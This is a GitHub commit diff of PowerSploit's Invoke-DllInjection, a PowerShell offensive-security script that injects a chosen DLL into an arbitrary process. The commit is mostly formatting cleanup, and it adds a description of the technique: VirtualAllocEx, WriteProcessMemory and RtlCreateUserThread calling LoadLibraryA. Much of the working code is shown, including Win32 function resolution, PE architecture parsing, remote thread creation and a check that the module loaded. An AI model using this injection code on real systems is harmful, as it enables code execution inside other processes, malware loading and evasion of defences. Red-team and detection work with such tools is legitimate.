@@ -5,15 +5,19 @@ function Invoke-DllInjection
5
5
6
6
Injects a Dll into the process ID of your choosing.
7
7
8
- PowerSploit Function: Invoke-DllInjection
9
- Author: Matthew Graeber (@mattifestation)
10
- License: BSD 3-Clause
11
- Required Dependencies: None
12
- Optional Dependencies: None
8
+ PowerSploit Function: Invoke-DllInjection
9
+ Author: Matthew Graeber (@mattifestation)
10
+ License: BSD 3-Clause
11
+ Required Dependencies: None
12
+ Optional Dependencies: None
13
13
14
14
. DESCRIPTION
15
15
16
16
Invoke-DllInjection injects a Dll into an arbitrary process.
17
+ It does this by using VirtualAllocEx to allocate memory the size of the
18
+ DLL in the remote process, writing the names of the DLL to load into the
19
+ remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread
20
+ to invoke LoadLibraryA in the context of the remote process.
17
21
18
22
. PARAMETER ProcessID
19
23
@@ -40,6 +44,8 @@ Use the '-Verbose' option to print detailed information.
40
44
http://www.exploit-monday.com
41
45
#>
42
46
47
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute (' PSShouldProcess' , ' ' )]
48
+ [CmdletBinding ()]
43
49
Param (
44
50
[Parameter ( Position = 0 , Mandatory = $True )]
45
51
[Int ]
@@ -59,7 +65,7 @@ http://www.exploit-monday.com
59
65
{
60
66
Throw " Process does not exist!"
61
67
}
62
-
68
+
63
69
# Confirm that the path to the dll exists
64
70
try
65
71
{
@@ -79,11 +85,11 @@ http://www.exploit-monday.com
79
85
Param
80
86
(
81
87
[OutputType ([Type ])]
82
-
88
+
83
89
[Parameter ( Position = 0 )]
84
90
[Type []]
85
91
$Parameters = (New-Object Type[](0 )),
86
-
92
+
87
93
[Parameter ( Position = 1 )]
88
94
[Type ]
89
95
$ReturnType = [Void ]
@@ -98,7 +104,7 @@ http://www.exploit-monday.com
98
104
$ConstructorBuilder.SetImplementationFlags (' Runtime, Managed' )
99
105
$MethodBuilder = $TypeBuilder.DefineMethod (' Invoke' , ' Public, HideBySig, NewSlot, Virtual' , $ReturnType , $Parameters )
100
106
$MethodBuilder.SetImplementationFlags (' Runtime, Managed' )
101
-
107
+
102
108
Write-Output $TypeBuilder.CreateType ()
103
109
}
104
110
@@ -107,11 +113,11 @@ http://www.exploit-monday.com
107
113
Param
108
114
(
109
115
[OutputType ([IntPtr ])]
110
-
116
+
111
117
[Parameter ( Position = 0 , Mandatory = $True )]
112
118
[String ]
113
119
$Module ,
114
-
120
+
115
121
[Parameter ( Position = 1 , Mandatory = $True )]
116
122
[String ]
117
123
$Procedure
@@ -128,7 +134,7 @@ http://www.exploit-monday.com
128
134
$Kern32Handle = $GetModuleHandle.Invoke ($null , @ ($Module ))
129
135
$tmpPtr = New-Object IntPtr
130
136
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr , $Kern32Handle )
131
-
137
+
132
138
# Return the address of the function
133
139
Write-Output $GetProcAddress.Invoke ($null , @ ([System.Runtime.InteropServices.HandleRef ]$HandleRef , $Procedure ))
134
140
}
@@ -142,43 +148,43 @@ http://www.exploit-monday.com
142
148
[String ]
143
149
$Path
144
150
)
145
-
151
+
146
152
# Parse PE header to see if binary was compiled 32 or 64-bit
147
153
$FileStream = New-Object System.IO.FileStream($Path , [System.IO.FileMode ]::Open, [System.IO.FileAccess ]::Read)
148
-
154
+
149
155
[Byte []] $MZHeader = New-Object Byte[](2 )
150
156
$FileStream.Read ($MZHeader , 0 , 2 ) | Out-Null
151
-
157
+
152
158
$Header = [System.Text.AsciiEncoding ]::ASCII.GetString($MZHeader )
153
159
if ($Header -ne ' MZ' )
154
160
{
155
161
$FileStream.Close ()
156
162
Throw ' Invalid PE header.'
157
163
}
158
-
164
+
159
165
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
160
166
$FileStream.Seek (0x3c , [System.IO.SeekOrigin ]::Begin ) | Out-Null
161
-
167
+
162
168
[Byte []] $lfanew = New-Object Byte[](4 )
163
-
169
+
164
170
# Read offset to the PE Header (will be read in reverse)
165
171
$FileStream.Read ($lfanew , 0 , 4 ) | Out-Null
166
- $PEOffset = [Int ] (' 0x{0}' -f (( $lfanew [-1 .. -4 ] | % { $_.ToString (' X2' ) } ) -join ' ' ))
167
-
172
+ $PEOffset = [Int ] (' 0x{0}' -f (( $lfanew [-1 .. -4 ] | ForEach-Object { $_.ToString (' X2' ) } ) -join ' ' ))
173
+
168
174
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
169
175
$FileStream.Seek ($PEOffset + 4 , [System.IO.SeekOrigin ]::Begin ) | Out-Null
170
176
[Byte []] $IMAGE_FILE_MACHINE = New-Object Byte[](2 )
171
-
177
+
172
178
# Read compiled architecture
173
179
$FileStream.Read ($IMAGE_FILE_MACHINE , 0 , 2 ) | Out-Null
174
- $Architecture = ' {0}' -f (( $IMAGE_FILE_MACHINE [-1 .. -2 ] | % { $_.ToString (' X2' ) } ) -join ' ' )
180
+ $Architecture = ' {0}' -f (( $IMAGE_FILE_MACHINE [-1 .. -2 ] | ForEach-Object { $_.ToString (' X2' ) } ) -join ' ' )
175
181
$FileStream.Close ()
176
-
182
+
177
183
if (($Architecture -ne ' 014C' ) -and ($Architecture -ne ' 8664' ))
178
184
{
179
185
Throw ' Invalid PE header or unsupported architecture.'
180
186
}
181
-
187
+
182
188
if ($Architecture -eq ' 014C' )
183
189
{
184
190
Write-Output ' X86'
@@ -193,7 +199,7 @@ http://www.exploit-monday.com
193
199
}
194
200
}
195
201
196
-
202
+
197
203
# Get addresses of and declare delegates for essential Win32 functions.
198
204
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
199
205
$OpenProcessDelegate = Get-DelegateType @ ([UInt32 ], [Bool ], [UInt32 ]) ([IntPtr ])
@@ -307,7 +313,7 @@ http://www.exploit-monday.com
307
313
{
308
314
Throw " Unable to launch remote thread. NTSTATUS: 0x$ ( $Result.ToString (' X8' )) "
309
315
}
310
-
316
+
311
317
$VirtualFreeEx.Invoke ($hProcess , $RemoteMemAddr , $Dll.Length , 0x8000 ) | Out-Null # MEM_RELEASE (0x8000)
312
318
313
319
# Close process handle
@@ -317,7 +323,7 @@ http://www.exploit-monday.com
317
323
318
324
# Extract just the filename from the provided path to the dll.
319
325
$FileName = (Split-Path $Dll - Leaf).ToLower()
320
- $DllInfo = (Get-Process - Id $ProcessID ).Modules | ? { $_.FileName.ToLower ().Contains($FileName ) }
326
+ $DllInfo = (Get-Process - Id $ProcessID ).Modules | Where-Object { $_.FileName.ToLower ().Contains($FileName ) }
321
327
322
328
if (! $DllInfo )
323
329
{
0 commit comments